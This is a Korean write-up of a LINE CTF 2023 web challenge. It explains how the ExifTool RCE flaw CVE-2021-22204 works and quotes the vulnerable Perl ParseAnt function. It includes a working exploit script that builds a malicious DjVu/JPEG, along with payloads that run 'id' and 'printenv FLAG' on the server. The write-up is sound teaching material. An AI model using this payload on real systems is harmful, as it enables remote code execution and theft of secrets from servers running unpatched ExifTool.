LINE CTF 2023의
Web 분야 3번 문제 입니다.
# 개요
이번에는 오픈 소스의 CVE 취약점을 이용한 문제입니다.
# 환경 구성
일부러 문제점을 만든 문제가 아닌
실제로 존재하는 취약점을 이용해서 그런지
사이트를 제대로 구성한 모습입니다.
Nginx와 Backend 사이트로 나뉘는 데
Nginx 서버는
Reverse Proxy 서버로
사용되는 듯 하고,
실제 서비스는
Backend 서버의 Python Flask에서
제공됩니다.
문제 파일을 다운받으면,
Docker Image의 내용이 명시된
Dockerfile과
docker-compose.yaml 파일이
있습니다.
아래 명령어로
도커 컨테이너를 설치 및 실행시킬 수 있습니다.
# DockerFile과 docker-compose.yaml 파일이 있는
# 디렉토리로 이동
> cd dist
# Docker 컨테이너 설치&실행
> docker-compose up
설치된 후 실행 중인 컨테이너의 CMD 창은
종료해도 상관 없습니다.
아래 명령어를 통해
실행 중인 컨테이너의 PORT를
확인할 수 있습니다.
# 실행 중인 Docker Container 확인
> docker ps
도커가 실행 중인 서버(호스트)의
IP와 PORT로 접속하면
문제 사이트를 확인할 수 있습니다.
이미지 파일을 업로드하면,
업로드한 이미지의 정보를 보여줍니다.
# 분석
문제로 제공된 파일들 중
문제를 푸는 데
중요한 파일은
docker-compose.yml 파일과
backend 서버의
Dockerfile 입니다.
파일입니다.
+ docker-compose.yml
docker-compose.yml 파일에서는
FLAG의 위치와
Nginx 서버, Backend 서버의
네트워크 구성을 확인할 수 있습니다.
version: "3.5"
services:
nginx:
build:
context: ./nginx/
container_name: line_linectf2023_nginx
restart: always
image: line_linectf2023_nginx
volumes:
- "./nginx/log:/var/log/nginx"
ports:
- "12000:80" # in -> out
networks:
- line-linectf2023-frontend # 외부로 연결되는 Network
- line-linectf2023-internal # 내부 Network 소속
depends_on:
- backend
backend:
build:
context: ./backend/
container_name: line_linectf2023_backend
restart: always
environment:
- FLAG=LINECTF{redacted} # 환경변수에 FLAG 세팅
- SCRIPT_ENV=production
networks:
- line-linectf2023-internal # 내부 Network 소속
networks:
line-linectf2023-frontend:
ipam:
driver: default
config:
- subnet: 172.27.0.0/16
line-linectf2023-internal:
driver: bridge
internal: true
FLAG는 backend 서버의
환경변수에 선언이 되었으며,
network 설정들을 보면
backend 서버는
line-linectf2023-internal(내부 network)에만,
nginx 서버는
line-linectf2023-internal(내부 network) 와
line-linectf2023-frontend(외부 network)
모두 연결되어 있습니다.
+ Dockerfile (backend 서버)
backend 서버의 Dockerfile에는
python flask 서버를 구동하기 위한
패키지 설치 및 기타 설정 등이
기재되어 있습니다.
FROM python:3.11.2
...
RUN wget https://github.com/exiftool/exiftool/archive/refs/tags/12.22.tar.gz && \
tar xvf 12.22.tar.gz && \
cp -fr /exiftool-12.22/* /usr/bin && \
rm -rf /exiftool-12.22 && \
rm 12.22.tar.gz
...
다른 패키지는
requirements.txt의 목록에서
pip 명령어로 설치하지만
유독,
exiftool 패키지만
wget을 통해
버전을 지정하여 설치하고 있습니다.
+ Python os.environ.get("FLAG")
Python에서 시스템의 환경변수를
불러오는 함수를 검색해도,
FLAG를 불러오는 함수는
찾을 수 없습니다.
# 풀이
설치된 exiftool의 12.22 버전에는
CVE-2021-22204 취약점이 존재합니다.
+ CVE-2021-22204
ExifTool 버전 7.44 이상에서
DjVu 파일 형식의 사용자 데이터를 잘못 처리하면
악의적인 이미지를 분석할 때
임의 코드를 실행할 수 있는
RCE 취약점 입니다.
아래는 취약점이 존재하는
ParseAnt 함수의 전문 입니다.
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
취약점은 for 문을 빠져나오는 조건에서 발생합니다.
정규식 /(\\+)$/에서 $ 문자는 문자열의 끝이나
문자열의 끝에서 개행 전을 의미합니다.
따라서, 아래와 같은 Payload를 작성할 수 있습니다.
«입력»
\
".`id`#
«결과»
uid=1000(amal) gid=1000(amal) groups=1000(amal)
참고로,
취약점 발생 위치와
eval 함수 사이의 정규표현식의 의미는
아래와 같습니다.
# s{}{}sge는 sed 대체 명령(sed 's/old-text/new-text/g')과 유사하지만
# 내부의 이스케이프 슬래시를 제외합니다.
s {\\(.)|([\$\@]|\\$)} {'\\'.($2 || $1)} s g e
│ │ │ │ │ │ │
│ └────────┬─────────┘ └───────┬───────┘ └─┬─┘
│ search pattern replace pattern modifiers
│
└──── stands for "substitution"
+ 취약점 조치
이 취약점은
12.24 버전에서
아래와 같이
문자를 치환하고
eval 함수를 제거하여
조치되었습니다.
+ Solve!
우선, POC용 이미지를 생성하기 위해
exiftool을 설치합니다.
환경을 맞추기 위해
문제의 Dockerfile을 참고해서
설치하면 됩니다.
# Home 디렉토리로 이동
cd ~
# Exiftool 설치 및 정리
wget https://github.com/exiftool/exiftool/archive/refs/tags/12.22.tar.gz && \
tar xvf 12.22.tar.gz && \
cp -fr ~/exiftool-12.22/* /usr/bin && \
rm -rf ~/exiftool-12.22 && \
rm 12.22.tar.gz
POC 이미지를 생성하는 코드는
이미 만들어진 코드를 변경하여 사용했으며,
아래와 같습니다.
#!/bin/env python3
# exploit.py
import base64
import subprocess
subprocess.run(['bzz', 'payload', 'payload.bzz'])
subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'image.jpg'])
기존에 exploit file를 생성하는 코드를
제거했기 때문에
직접 입력해줘야 합니다.
# Payload file 생성
vi payload
Payload는 다음과 같습니다.
(metadata (Warning "\
"; return `printenv FLAG`; #"))
Python Code를 실행시키면,
image.jpg 파일이 업데이트 됩니다.
생성된 파일을
문제 사이트에
업로드하면
FLAG 값을 얻을 수 있습니다.